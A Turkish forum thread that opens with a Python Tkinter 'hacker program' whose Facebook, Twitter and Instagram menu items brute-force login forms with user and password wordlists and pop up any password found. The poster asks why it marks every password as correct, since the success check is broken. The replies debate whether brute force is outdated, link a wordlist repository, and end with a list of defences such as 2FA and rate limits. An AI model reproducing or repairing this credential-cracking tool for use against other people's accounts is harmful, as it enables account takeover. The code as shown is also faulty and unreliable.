Python'da bruteforce attack

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from tkinter import *
from tkMessageBox import *
import time
from itertools import product
import requests
import sys

def facebookhackcodes():
	
	expression = "incorrect"
	# The link of the website
	url = XUrl.get()
	# The userfield in the form of the login
	userfile = XUser.get()
	# The passwordfield in the form
	passwordfile = XPassword.get()
	# list of potential incorrect message in the page if it doesn't succeed
	incorrectMessage = ['error', 'required error']
	# list of potential success message in the page if it succeed
	successMessage = ['success', 'SUCCESS']
	# Getting list of potentials password
	passwords = open('' + passwordfile ).readlines()
	# Getting list of user to test with
	users = open( '' + userfile ).readlines()
	
	PenFacebookHackCodes = Toplevel(ana)
	PenFacebookHackCodes.transient(ana)
	PenFacebookHackCodes.focus()
	PenFacebookHackCodes.title(u"Facbook Hack Codes Programı")
	PenFacebookHackCodes.resizable(width=FALSE, height=FALSE)
	pgen = 1000
	pyuks = 650
	ekrangen = PenFacebookHackCodes.winfo_screenwidth()
	ekranyuks = PenFacebookHackCodes.winfo_screenheight()
	x = (ekrangen - pgen) / 2
	y = (ekranyuks - pyuks) / 2
	PenFacebookHackCodes.geometry("%dx%d+%d+%d"%(pgen, pyuks, x, y))
	#-URL ADRES
	Label(PenFacebookHackCodes, text=u"Url Adresi : " + url).grid(row=1, sticky=W)
	#-USER FİLE ADRES
	Label(PenFacebookHackCodes, text=u"User Dosya Adı : " + userfile).grid(row=2, sticky=W)
	#-PASSWORD FİLE ADRES
	Label(PenFacebookHackCodes, text=u"Password Dosya Adı : " + passwordfile).grid(row=3, sticky=W)
	Label(PenFacebookHackCodes, text=u"---------------------------------------------------------------").grid(row=4, sticky=W)
	Label(PenFacebookHackCodes, text=u"Connection Url Adress : " + url ).grid(row=5, sticky=W)
	Label(PenFacebookHackCodes, text=u"---------------------------------------------------------------").grid(row=6, sticky=W)
	for user in users:
		for password in passwords:
			data = {'username':user,'password':password}
			r = requests.post(url,data=data)
			if expression not in r.content :
				Label(PenFacebookHackCodes, text=u"---------------------------------------------------------------").grid(row=7, sticky=W)	
				Label(PenFacebookHackCodes, text=u"FOUND Username:" + user + "FOUND Password : " + password).grid(row=8, sticky=W)
				Label(PenFacebookHackCodes, text=u"---------------------------------------------------------------").grid(row=9, sticky=W)
				showinfo("ŞİFRE BULUNDU", "FOUND Username : " + user + "FOUND Password : " + password)
				break
				break
			else:
				print r.content," ",password
					
def facebookhack():	
	PenFacebookHack = Toplevel(ana)
	PenFacebookHack.transient(ana)
	PenFacebookHack.focus()
	PenFacebookHack.title(u"Facebook Hack Programı")
	PenFacebookHack.resizable(width=FALSE, height=FALSE)
	pgen = 1000
	pyuks = 650
	ekrangen = PenFacebookHack.winfo_screenwidth()
	ekranyuks = PenFacebookHack.winfo_screenheight()
	x = (ekrangen - pgen) / 2
	y = (ekranyuks - pyuks) / 2
	PenFacebookHack.geometry("%dx%d+%d+%d"%(pgen, pyuks, x, y))
	#-URL ADRES
	global XUrl
	XUrl = StringVar()
	Label(PenFacebookHack, text=u"Url Adresi Yazınız : ").grid(row=1, sticky=W)
	Url=Entry(PenFacebookHack,textvariable=XUrl).grid(row=1, column=1)
	#-USER FİLE ADRES
	global XUser
	XUser = StringVar()
	Label(PenFacebookHack, text=u"User Dosya ADresi Giriniz : ").grid(row=2, sticky=W)
	User=Entry(PenFacebookHack,textvariable=XUser).grid(row=2, column=1)
	#-PASSWORD FİLE ADRES
	global XPassword
	XPassword = StringVar()
	Label(PenFacebookHack, text=u"Password Dosya ADresi Giriniz : ").grid(row=3, sticky=W)
	Password=Entry(PenFacebookHack,textvariable=XPassword).grid(row=3, column=1)
	#BUTTON
	BtKaydet=Button(PenFacebookHack, text=u"Saldırıyı Başlat", command=facebookhackcodes).grid(row=4, column=1, sticky=NSEW, pady=3)
	BtKaydet=Button(PenFacebookHack, text=u"Saldırıyı İptal Et", command=ana.quit).grid(row=4, column=2, sticky=NSEW, pady=3)

def twitterhackcodes():
	
	expression = "incorrect"
	# The link of the website
	url = XUrl.get()
	# The userfield in the form of the login
	userfile = XUser.get()
	# The passwordfield in the form
	passwordfile = XPassword.get()
	# list of potential incorrect message in the page if it doesn't succeed
	incorrectMessage = ['error', 'required error']
	# list of potential success message in the page if it succeed
	successMessage = ['success', 'SUCCESS']
	# Getting list of potentials password
	passwords = open('' + passwordfile ).readlines()
	# Getting list of user to test with
	users = open( '' + userfile ).readlines()
	
	PenTwitterHackCodes = Toplevel(ana)
	PenTwitterHackCodes.transient(ana)
	PenTwitterHackCodes.focus()
	PenTwitterHackCodes.title(u"Twitter Hack Codes Programı")
	PenTwitterHackCodes.resizable(width=FALSE, height=FALSE)
	pgen = 1000
	pyuks = 650
	ekrangen = PenTwitterHackCodes.winfo_screenwidth()
	ekranyuks = PenTwitterHackCodes.winfo_screenheight()
	x = (ekrangen - pgen) / 2
	y = (ekranyuks - pyuks) / 2
	PenTwitterHackCodes.geometry("%dx%d+%d+%d"%(pgen, pyuks, x, y))
	#-URL ADRES
	Label(PenTwitterHackCodes, text=u"Url Adresi : " + url).grid(row=1, sticky=W)
	#-USER FİLE ADRES
	Label(PenTwitterHackCodes, text=u"User Dosya Adı : " + userfile).grid(row=2, sticky=W)
	#-PASSWORD FİLE ADRES
	Label(PenTwitterHackCodes, text=u"Password Dosya Adı : " + passwordfile).grid(row=3, sticky=W)
	Label(PenTwitterHackCodes, text=u"---------------------------------------------------------------").grid(row=4, sticky=W)
	Label(PenTwitterHackCodes, text=u"Connection Url Adress : " + url ).grid(row=5, sticky=W)
	Label(PenTwitterHackCodes, text=u"---------------------------------------------------------------").grid(row=6, sticky=W)
	for user in users:
		for password in passwords:
			data = {'username':user,'password':password}
			r = requests.post(url,data=data)
			if expression not in r.content :
				Label(PenTwitterHackCodes, text=u"---------------------------------------------------------------").grid(row=7, sticky=W)	
				Label(PenTwitterHackCodes, text=u"FOUND Username:" + user + "FOUND Password : " + password).grid(row=8, sticky=W)
				Label(PenTwitterHackCodes, text=u"---------------------------------------------------------------").grid(row=9, sticky=W)
				showinfo("ŞİFRE BULUNDU", "FOUND Username : " + user + "FOUND Password : " + password)
				break
				break
			else:
				print r.content," ",password
					
def twitterhack():	
	PenTwitterrHack = Toplevel(ana)
	PenTwitterrHack.transient(ana)
	PenTwitterrHack.focus()
	PenTwitterrHack.title(u"Twitter Hack Programı")
	PenTwitterrHack.resizable(width=FALSE, height=FALSE)
	pgen = 1000
	pyuks = 650
	ekrangen = PenTwitterrHack.winfo_screenwidth()
	ekranyuks = PenTwitterrHack.winfo_screenheight()
	x = (ekrangen - pgen) / 2
	y = (ekranyuks - pyuks) / 2
	PenTwitterrHack.geometry("%dx%d+%d+%d"%(pgen, pyuks, x, y))
	#-URL ADRES
	global XUrl
	XUrl = StringVar()
	Label(PenTwitterrHack, text=u"Url Adresi Yazınız : ").grid(row=1, sticky=W)
	Url=Entry(PenTwitterrHack,textvariable=XUrl).grid(row=1, column=1)
	#-USER FİLE ADRES
	global XUser
	XUser = StringVar()
	Label(PenTwitterrHack, text=u"User Dosya ADresi Giriniz : ").grid(row=2, sticky=W)
	User=Entry(PenTwitterrHack,textvariable=XUser).grid(row=2, column=1)
	#-PASSWORD FİLE ADRES
	global XPassword
	XPassword = StringVar()
	Label(PenTwitterrHack, text=u"Password Dosya ADresi Giriniz : ").grid(row=3, sticky=W)
	Password=Entry(PenTwitterrHack,textvariable=XPassword).grid(row=3, column=1)
	#BUTTON
	BtKaydet=Button(PenTwitterrHack, text=u"Saldırıyı Başlat", command=twitterhackcodes).grid(row=4, column=1, sticky=NSEW, pady=3)
	BtKaydet=Button(PenTwitterrHack, text=u"Saldırıyı İptal Et", command=ana.quit).grid(row=4, column=2, sticky=NSEW, pady=3)


def instagramhackcodes():
	
	expression = "incorrect"
	# The link of the website
	url = XUrl.get()
	# The userfield in the form of the login
	userfile = XUser.get()
	# The passwordfield in the form
	passwordfile = XPassword.get()
	# list of potential incorrect message in the page if it doesn't succeed
	incorrectMessage = ['error', 'required error']
	# list of potential success message in the page if it succeed
	successMessage = ['success', 'SUCCESS']
	# Getting list of potentials password
	passwords = open('' + passwordfile ).readlines()
	# Getting list of user to test with
	users = open( '' + userfile ).readlines()
	
	PenInstagramHackCodes = Toplevel(ana)
	PenInstagramHackCodes.transient(ana)
	PenInstagramHackCodes.focus()
	PenInstagramHackCodes.title(u"İnstagram Hack Codes Programı")
	PenInstagramHackCodes.resizable(width=FALSE, height=FALSE)
	pgen = 1000
	pyuks = 650
	ekrangen = PenInstagramHackCodes.winfo_screenwidth()
	ekranyuks = PenInstagramHackCodes.winfo_screenheight()
	x = (ekrangen - pgen) / 2
	y = (ekranyuks - pyuks) / 2
	PenInstagramHackCodes.geometry("%dx%d+%d+%d"%(pgen, pyuks, x, y))
	#-URL ADRES
	Label(PenInstagramHackCodes, text=u"Url Adresi : " + url).grid(row=1, sticky=W)
	#-USER FİLE ADRES
	Label(PenInstagramHackCodes, text=u"User Dosya Adı : " + userfile).grid(row=2, sticky=W)
	#-PASSWORD FİLE ADRES
	Label(PenInstagramHackCodes, text=u"Password Dosya Adı : " + passwordfile).grid(row=3, sticky=W)
	Label(PenInstagramHackCodes, text=u"---------------------------------------------------------------").grid(row=4, sticky=W)
	Label(PenInstagramHackCodes, text=u"Connection Url Adress : " + url ).grid(row=5, sticky=W)
	Label(PenInstagramHackCodes, text=u"---------------------------------------------------------------").grid(row=6, sticky=W)
	for user in users:
		for password in passwords:
			data = {'username':user,'password':password}
			r = requests.post(url,data=data)
			if expression not in r.content :
				Label(PenInstagramHackCodes, text=u"---------------------------------------------------------------").grid(row=7, sticky=W)	
				Label(PenInstagramHackCodes, text=u"FOUND Username:" + user + "FOUND Password : " + password).grid(row=8, sticky=W)
				Label(PenInstagramHackCodes, text=u"---------------------------------------------------------------").grid(row=9, sticky=W)
				showinfo("ŞİFRE BULUNDU", "FOUND Username : " + user + "FOUND Password : " + password)
				break
				break
			else:
				print r.content," ",password
					
def instagramhack():	
	PenInstagramHack = Toplevel(ana)
	PenInstagramHack.transient(ana)
	PenInstagramHack.focus()
	PenInstagramHack.title(u"İnstagram Hack Programı")
	PenInstagramHack.resizable(width=FALSE, height=FALSE)
	pgen = 1000
	pyuks = 650
	ekrangen = PenInstagramHack.winfo_screenwidth()
	ekranyuks = PenInstagramHack.winfo_screenheight()
	x = (ekrangen - pgen) / 2
	y = (ekranyuks - pyuks) / 2
	PenInstagramHack.geometry("%dx%d+%d+%d"%(pgen, pyuks, x, y))
	#-URL ADRES
	global XUrl
	XUrl = StringVar()
	Label(PenInstagramHack, text=u"Url Adresi Yazınız : ").grid(row=1, sticky=W)
	Url=Entry(PenInstagramHack,textvariable=XUrl).grid(row=1, column=1)
	#-USER FİLE ADRES
	global XUser
	XUser = StringVar()
	Label(PenInstagramHack, text=u"User Dosya ADresi Giriniz : ").grid(row=2, sticky=W)
	User=Entry(PenInstagramHack,textvariable=XUser).grid(row=2, column=1)
	#-PASSWORD FİLE ADRES
	global XPassword
	XPassword = StringVar()
	Label(PenInstagramHack, text=u"Password Dosya ADresi Giriniz : ").grid(row=3, sticky=W)
	Password=Entry(PenInstagramHack,textvariable=XPassword).grid(row=3, column=1)
	#BUTTON
	BtKaydet=Button(PenInstagramHack, text=u"Saldırıyı Başlat", command=instagramhackcodes).grid(row=4, column=1, sticky=NSEW, pady=3)
	BtKaydet=Button(PenInstagramHack, text=u"Saldırıyı İptal Et", command=ana.quit).grid(row=4, column=2, sticky=NSEW, pady=3)

ana = Tk()

baslik = ana.title("Beyaz Şapkalı Hacker Programı")

pgen = 1000
pyuks = 650
ekrangen = ana.winfo_screenwidth()
ekranyuks = ana.winfo_screenheight()
x = (ekrangen - pgen) / 2
y = (ekranyuks - pyuks) / 2
ana.geometry("%dx%d+%d+%d"%(pgen, pyuks, x, y))

menubar=Menu(ana)
dosya=Menu(menubar)
menubar.add_cascade(label="Hack Programları",menu=dosya)
dosya.add_command(label="Port Tarama Programı")
dosya.add_command(label="Wifi Hack Programı")
dosya.add_command(label="Facebook Hack Programı",command=facebookhack)
dosya.add_command(label="Tiwiter Hack Programı",command=twitterhack)
dosya.add_command(label="İnstagram Hack Programı",command=instagramhack)
dosya.add_command(label="Çıkış",command=ana.quit)

ana.config(menu=menubar)
ana.mainloop()

nasıl bir hata var çözemedim şifresi olmayanıda doğru gösteriyor olanıda

Bunun la kimse uğraşmaz da neden bunu kullanmaya çalışıyosun ki milyartane brute-force porgramı varken ?

kusura bakmayın ama benim amacım grafiksel bir hack programı yapmaktı ve bunu başarmamada az kaldı

1 Beğeni

Grafik arayüzlü olmasının bi gereği yok şahsi görüşüm.bu seni yavaşlatır.hadi oldu yaptın diyelim.Brute-force yapması o kadar kolay bişey değil.en basitinden çoğu modem ler bile 5 denemeden sonra bilmem kaç saatlik ban atıyo.tüm bunları bi kenara bırakıp herşey oldu hazır program çalışıyo falan filan.wordlist ??? wordlist hazırlamak bilgi toplamak netten bulduğun wordlistler bi işe yaramaz.kişi üstünden wordlist hazırlayacaksın.falan filan inter milan.

Bruteforce eskidi bu kadar uğraştığına deymez

Eskidiğinden kastın nedir ?

harbi eskididen kastın nedir brute force hala yoğun olarak kullanılıyor ve insanlar hala şifrelerini kırılabilir birşey yaptığı için etkili bir yöntem

brute force asla eskimez

çok basit bir örnek dizin taraması yapıcaksın diyelim brute force yapmadan nası yapıcaksın çok merak ediyorum. eskidiyse yeni sini anlat bilelim.

Bunu sorman gereksiz aslında, kişi yapmak istiyorsa yapar zaten , piyasada milyar tane çeşitli çeşitli program var hangi fikir yapılmamış ki?
Şimdi aynı türde başka programlar var diye hiç bir proje yapmayalım mi ayrıca çocuğun sorusuna değil yapma amacına takmissiniz

Yapmak istiyosa yapsın ben yapmasın mı dedim çok boş muhabbet dönüyo. ozaman her kullandığını kendin yap başkasının yaptığını kullanma ? hazırı var zaten ne gerek var baştan yapmaya diyorum nasıl çalıştığını gitsin öğrensin ? nerdeyse 1 sene olucak bu konuyu açtığından beri hani kim sorunu çözmeye uğraştı? kimse uğraşmaz dedim. sende arkadaşın sorusuna değil benim verdiğim cevaba takmışsın ? 3 evetle uğurluyorum seni.

Hiçbir zaman kapıyı kırarak evi basmak eskimemiştir.

ben bir sürü wordlist oluşturma programı hazırladım bunları githubda yayımladım
işte linki : https://github.com/egeisli
burada bir sürü wordlist var bunları kullanabilirsiniz

reis bana instadan ulaşırmısın adım sadekufte.1

bruteforce neden yapılmaz, kısmen yapılamaz basitçe açıklayalım.

Bruteforce, bir şifre veya şifrelenmiş veriyi çözmek veya erişmek için tüm olası kombinasyonları deneyerek başarılı bir sonuç elde etmeye çalışan bir saldırı yöntemidir.

Biz ilgili bir platformdaki hedef hesabın şifresini çözmeye çalıştığımı var sayarsak;

1- güncel tüm sosyal medya plaftormlarında 2fa desteği mevcut hesabın şifresini bulsak bile takılmayacağımızın garantisi yok .

2- bir çok plaftorm da belirli bir rate limit var bu limiti geçince sizi sistemden banlar ve siz halen şifre denediğinizi zannedersiniz.

3- proxy 2. madde de değindiğim gibi rate limite yakalanmamak için proxy kullanmanız gerekmektedir ve free proxyler ile bunu yapamayacağımız için ya mobil proxy yada ipv6 gibi maliyeti yüksek olan (özellikle dolar bazlı fiyatlar) proxyler kullanmak gerektiği için hesap çok değerli değilse zarardan başka bir şey olmadığı gibi 4. maddede değildiğim üzere zaman kaybıdır.

4- hit atlama , siz ne kadar kaliteli proxy kullansanız da , ne kadar sağlam keywords/combolistiniz olsa da şifreyi bulsanız bile bulmadı olarak işaretlemesi ihtimalide vardır.

5- farklı lokasyondan oturum açma , bir çok sosyal medya platformunda örnek vermek gerekirse benim deneyimlediğim discord ve instagram farklı bir lokasyon da oturum açıldığı zaman mail veya telefon gibi ikinici bir önlemle kullanıcının gerçekten hesap sahibi olup olmadığını doğrulamakta.

6- combolistler , AnkaraMessi_Joo24 gibi bir şifre hiç bir hazır wordlistte bulunmaz saçma ama kolay bir şifre sizi aynı noktada saymanıza neden olur hiç bir zamanda o şifreyi bulamazsınız

7- platformdan platforma değişen bir çok güvenlik önlemi mevcuttur.

BruteForce mantıklı değildir ve yukarıdaki maddelere istinaden kısmen YA-PI-LA-MAZ.